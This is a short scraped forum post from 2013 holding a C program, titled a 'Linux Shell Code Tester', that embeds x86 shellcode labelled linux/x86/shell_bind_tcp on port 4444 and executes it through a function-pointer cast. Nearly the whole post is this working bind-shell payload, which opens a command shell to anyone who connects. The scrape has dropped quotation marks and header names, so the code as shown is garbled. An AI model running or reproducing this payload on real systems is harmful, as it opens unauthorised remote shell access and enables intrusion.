Linux Shell Code Tester in C # include int - TopicsExpress



          

Linux Shell Code Tester in C # include int main() { printf([!]A bad payload will result in a Segmentation fault.\n); /* linux/x86/shell_bind_tcp LPORT=4444 */ unsigned char buf[] = \x31\xdb \xf7\xe3\x53\x43\x53\x6a \x02\x89\xe1\xb0\x66\xcd\x80 \x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a \x10\x51\x50\x89\xe1\x6a \x66\x58\xcd \x80\x89\x41\x04\xb3\x04\xb0\x66\xcd \x80\x43\xb0 \x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd \x80\x49\x79\xf8\x68\x2f \x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\xb0 \x0b\xcd\x80; void *exec = buf; printf(Allocating memory for payload.\n); memcpy(exec, buf, strlen(buf)); printf(Executing payload...\n); ((void(*)())exec)(); return 0; }
Posted on: Mon, 28 Oct 2013 11:12:22 +0000

Recently Viewed Topics




© 2015